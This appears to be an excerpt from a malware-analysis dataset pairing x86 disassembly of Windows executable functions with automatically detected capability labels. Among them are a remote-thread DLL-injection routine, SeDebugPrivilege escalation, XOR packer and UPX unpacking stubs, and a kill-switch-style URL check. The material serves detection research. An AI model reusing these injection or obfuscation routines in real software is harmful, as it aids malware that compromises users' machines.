joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4175f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x468014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0xffff
push edi
mov edi, ecx
cmp ax, bx
jne 0x417615
xor eax, eax
jmp 0x417671
mov eax, dword [edi + 0x20]
push esi
mov ecx, dword [eax]
test ecx, ecx
je 0x417642
mov edx, dword [edi + 0x30]
mov esi, dword [edx]
lea eax, [ecx + esi*2]
cmp ecx, eax
jae 0x417642
lea ecx, [esi - 1]
mov dword [edx], ecx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x4176f6
cmp dword [edi + 0x4c], 0
je 0x41766b
mov ecx, edi
call fcn.004174db
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x417681
push dword [edi + 0x4c]
push ebx
call fcn.00416f18
pop ecx
test al, al
movzx eax, bx
pop ecx
jne 0x417670
mov eax, 0xffff
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.004295e8
leave
ret 4
mov word [ebp - 0x28], bx
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x40]
push eax
call dword [0x45318c]
mov ecx, dword [ebp - 0x2c]
call esi
test eax, eax
js 0x41766b
cmp eax, 1
jle 0x4176c9
cmp eax, 3
jne 0x41766b
push dword [edi + 0x4c]
push dword [ebp - 0x28]
jmp 0x41765d
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x4176e6
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.0043519e
add esp, 0x10
cmp esi, eax
jne 0x41766b
lea eax, [ebp - 0x28]
mov byte [edi + 0x3e], 1
cmp dword [ebp - 0x34], eax
je 0x41766b
mov ax, bx
jmp 0x417670

Function at 0x43f91a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043f5cb

Function at 0x43f925
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043f755

Function at 0x444764
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004442b7
Function at 0x44c640
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452309
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x468014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x30]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x44c72f
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x34], esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x3c]
push eax
push str.SeDebugPrivilege
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x3c], xmm0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x44c6b5
push str.Could_not_look_up_privilege_value_for_SeDebugName.
jmp 0x44c734
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
test ecx, ecx
jne 0x44c6ca
test eax, eax
jne 0x44c6ca
push str.Could_not_get_LUID_for_SeDebugName.
jmp 0x44c734
push 0
push 0
push 0x10
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
push 0
push esi
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x44c6fc
push str.Could_not_adjust_token_privileges.
jmp 0x44c734
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x44c715
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004295e8
mov esp, ebp
pop ebp
ret
push str.Could_not_open_process_token.
lea ecx, [ebp - 0x2c]
call fcn.00401840
push 0x466af4
lea eax, [ebp - 0x2c]
push eax
call fcn.0042a8d4
int3
Function at 0x44cbd0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4523ad
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x468014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push dword [ebp + 8]
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0
test edi, edi
je 0x44cd52
mov esi, dword [ebp + 0xc]
push 4
push 0x1000
mov eax, dword [esi + 0x10]
lea eax, [eax*2 + 2]
push eax
push 0
push edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 4], 1
test ebx, ebx
je 0x44cd6d
cmp dword [esi + 0x14], 8
jb 0x44cc59
mov esi, dword [esi]
push 0
push dword [ebp + 8]
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x44cc75
push str.Could_not_write_to_memory_in_remote_process.
jmp 0x44cd72
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x44cc8e
push str.Could_not_get_handle_to_Kernel32.
jmp 0x44cd72
push str.LoadLibraryW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x44cca8
push str.Could_not_get_pointer_to_LoadLibraryW.
jmp 0x44cd72
push 0
push 0
push ebx
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
mov dword [ebp + 8], esi
mov byte [ebp - 4], 2
test esi, esi
jne 0x44ccd0
push str.REMOTE_THREAD_FAILED
jmp 0x44cd72
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x44ccf2
push str.Could_not_get_thread_exit_code.
jmp 0x44cd72
cmp dword [ebp - 0x10], 0
jne 0x44ccff
push str.LOAD_LIBRARY_W_FAILED_nPossible_fixes:_n__make_sure_the_version_of_the_client_matches_the_version_of_the_game
jmp 0x44cd72
mov byte [ebp - 4], 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov dword [ebp + 8], 0
mov byte [ebp - 4], 0
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0xffffffff
push edi
call esi
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push str.Could_not_get_handle_to_process.
lea ecx, [ebp - 0x20]
call fcn.00401840
push 0x466af4
lea eax, [ebp - 0x20]
push eax
call fcn.0042a8d4
push str.Could_not_allocate_memory_in_remote_process.
lea ecx, [ebp - 0x2c]
call fcn.00401840
push 0x466af4
lea eax, [ebp - 0x2c]
push eax
call fcn.0042a8d4
int3
Function at 0x4049cb
Capabilities:
Parse pe header

Disassembly:
jmp 0x48098f
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, eax
test ecx, ecx
jne 0x4809a0
xor al, al
ret
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x48099d
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x48099d
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x48099d
cmp dword [eax + 0x74], 0xe
jbe 0x48099d
cmp dword [eax + 0xe8], 0
setne al
ret

Function at 0x408b39
Capabilities:
Query environment variable

Disassembly:
jmp 0x4c6ec7
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4c6edb
xor edi, edi
jmp 0x4c6f12
push ebx
push esi
call fcn.004c6dd0
sub eax, esi
sar eax, 1
lea ebx, [eax + eax]
push ebx
call fcn.00407b4e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4c6f02
push ebx
push esi
push edi
call fcn.0040365c
add esp, 0xc
push 0
call fcn.0040453e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret

Function at 0x408e6d
Capabilities:
Terminate process

Disassembly:
jmp 0x490c07
push 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x490c17
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00403b07
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
jne 0x4081a7
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x4df7b41
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x28dc4674
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0xb45590
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4e3000]
lea eax, [edi + 0x55482c]
push dword [eax]
mov dword [eax], 0x2bc02389
push eax
push edi
jmp 0xb455ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xb455c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb455b0
mov eax, 1
add ebx, ebx
jne 0xb455d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xb455e4
jne 0xb45603
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb45603
dec eax
add ebx, ebx
jne 0xb455f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xb455c8
add ebx, ebx
jne 0xb455ff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xb45655
xor ecx, ecx
sub eax, 3
jb 0xb4561b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xb4568a
sar eax, 1
mov ebp, eax
jmp 0xb45626
add ebx, ebx
jne 0xb45626
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb455f4
inc ecx
add ebx, ebx
jne 0xb45634
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb455f4
add ebx, ebx
jne 0xb45641
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xb45636
jne 0xb45652
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xb45636
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xb45674
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xb45666
jmp 0xb455b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xb45674
add edi, ecx
jmp 0xb455b6
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x1b05f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xb45696
cmp byte [edi], 0x3a
jne 0xb45696
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xb4569b
lea edi, [esi + 0x72b000]
mov eax, dword [edi]
or eax, eax
je 0xb45713
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x79d608]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x79d7c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xb456c8
mov ecx, edi
jns 0xb456f7
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x79d7cc]
or eax, eax
je 0xb4570d
mov dword [ebx], eax
add ebx, 4
jmp 0xb456e5
call dword [esi + 0x79d7c8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xb45744
cmp al, 0xef
ja 0xb45737
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xb45719
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xb45726
mov ebp, dword [esi + 0x79d7d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xb45778
sub esp, 0xffffff80
jmp 0x81473d
Function at 0x10004cd0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, edx
test esi, esi
not eax
je 0x10004d02
lea esp, [esp]
test cl, 3
je 0x10004d02
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x2e1a460]
add ecx, 1
sub esi, 1
jne 0x10004ce0
cmp esi, 0x20
push ebx
push edi
jb 0x10004eec
mov edi, esi
shr edi, 5
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x2e1a860]
xor edx, dword [ebx*4 + 0x2e1ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x2e1a460]
add ecx, 4
xor edx, dword [eax*4 + 0x2e1b060]
add ecx, 4
xor edx, dword [ecx - 8]
add ecx, 4
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x2e1a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x2e1ac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x2e1a460]
add ecx, 4
xor eax, dword [edx*4 + 0x2e1b060]
add ecx, 4
xor eax, dword [ecx - 0x10]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x2e1a860]
xor edx, dword [ebx*4 + 0x2e1ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x2e1a460]
xor edx, dword [eax*4 + 0x2e1b060]
xor edx, dword [ecx - 0xc]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x2e1a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x2e1ac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x2e1a460]
xor eax, dword [edx*4 + 0x2e1b060]
xor eax, dword [ecx - 8]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x2e1a860]
xor edx, dword [ebx*4 + 0x2e1ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x2e1a460]
xor edx, dword [eax*4 + 0x2e1b060]
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x2e1a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x2e1ac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x2e1a460]
and edx, 0xff
xor eax, dword [edx*4 + 0x2e1b060]
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x2e1a860]
xor edx, dword [ebx*4 + 0x2e1ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x2e1a460]
add ecx, 4
xor edx, dword [eax*4 + 0x2e1b060]
sub esi, 0x20
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x2e1a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x2e1ac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x2e1a460]
and edx, 0xff
xor eax, dword [edx*4 + 0x2e1b060]
sub edi, 1
jne 0x10004d12
cmp esi, 4
jb 0x10004f39
mov edx, esi
shr edx, 2
xor eax, dword [ecx]
add ecx, 4
mov edi, eax
shr edi, 0x10
and edi, 0xff
mov edi, dword [edi*4 + 0x2e1a860]
movzx ebx, ah
xor edi, dword [ebx*4 + 0x2e1ac60]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x2e1a460]
and eax, 0xff
xor edi, dword [eax*4 + 0x2e1b060]
sub esi, 4
sub edx, 1
mov eax, edi
jne 0x10004ef6
test esi, esi
pop edi
pop ebx
je 0x10004f5d
nop
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x2e1a460]
add ecx, 1
sub esi, 1
jne 0x10004f40
not eax
pop esi
ret
Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x16810cf9
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4320d2
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x44081961
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x404de0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
ror byte [ebx + 0x318b0441], 1
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x404df0
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x404de1
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00404b9c
aas
call 0x45cdc7b7
test al, 0x50
call fcn.00404bac
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00404b61
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x404e8a
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00404b9c
mov bl, 0xb9
mov esi, 0xc0458d01
push eax
call fcn.00404bac
push eax
push esi
push dword [ebp + 8]
call fcn.00404b61
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.00404b9c
invalid
Function at 0x407458
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d018]
jne 0x407462
repz ret
jmp fcn.004079e2

Function at 0x407f90
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x430], ax
push 0x208
push 0
lea ecx, [ebp - 0x42e]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x218], dx
push 0x208
push 0
lea eax, [ebp - 0x216]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x438], 0
push 0x105
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x434]
push ecx
push 0x105
lea edx, [ebp - 0x430]
push edx
push 0x40a8d8
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x408056
push 0xa
push 0x104
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x434]
push ecx
call dword [sym.imp.MSVCR90.dll__itow_s]
add esp, 0x10
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x10
jge 0x408078
push str.thsnYaViMRAeBoda
push 0x104
mov eax, dword [ebp + 8]
push eax
call fcn.00406310
cmp dword [ebp + 0xc], 0
je 0x408090
mov ecx, dword [ebp + 0xc]
push ecx
push 0x104
mov edx, dword [ebp + 8]
push edx
call fcn.00406310
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407458
mov esp, ebp
pop ebp
ret
Function at 0x4096d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x40], eax
xor eax, eax
mov word [ebp - 0x248], ax
push 0x206
push 0
lea ecx, [ebp - 0x246]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x450], dx
push 0x206
push 0
lea eax, [ebp - 0x44e]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.MSVCR90.dll_wcslen]
add esp, 4
test eax, eax
jbe 0x40975f
mov edx, dword [ebp + 0xc]
push edx
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.004062c0
push 0x40b394
push 0x104
lea ecx, [ebp - 0x450]
push ecx
call fcn.00406310
jmp 0x4097c5
lea edx, [ebp - 0x450]
push edx
push 0
push 0
push 0x2b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x409790
push 0x40b398
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.00406310
jmp 0x4097c5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b3b8
push str.SHGetFolderPath_failed
call fcn.004080a0
add esp, 0xc
push 0x352
push 0x40b3ec
push 0x40b3f0
call fcn.004080a0
add esp, 0xc
jmp 0x4098b8
lea ecx, [ebp - 0x450]
push ecx
push 0x104
lea edx, [ebp - 0x248]
push edx
call fcn.004062c0
push str.AdobeARMHelper.exe
push 0x104
lea eax, [ebp - 0x248]
push eax
call fcn.00406310
push 0xffffffffffffffff
lea ecx, [ebp - 0x248]
push ecx
call fcn.00409600
add esp, 8
test eax, eax
jne 0x409826
push 0x352
lea edx, [ebp - 0x248]
push edx
push str.Service_workflow_failed__file_not_valid:
call fcn.004080a0
add esp, 0xc
jmp 0x4098b8
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x540
mov dword [ebp - 0x20], 5
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x409888
push 0x354
push 0x40b49c
push str.ShellExecuteEx_succeeded
call fcn.004080a0
add esp, 0xc
jmp 0x4098b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b4d4
push str.ShellExecuteEx_failed
call fcn.004080a0
add esp, 0xc
push 0x352
push 0x40b504
push str.Service_workflow_failed
call fcn.004080a0
add esp, 0xc
mov ecx, dword [ebp - 0x40]
xor ecx, ebp
call fcn.00407458
mov esp, ebp
pop ebp
ret
Function at 0x402260
Capabilities:
Set registry value

Disassembly:
sub esp, 8
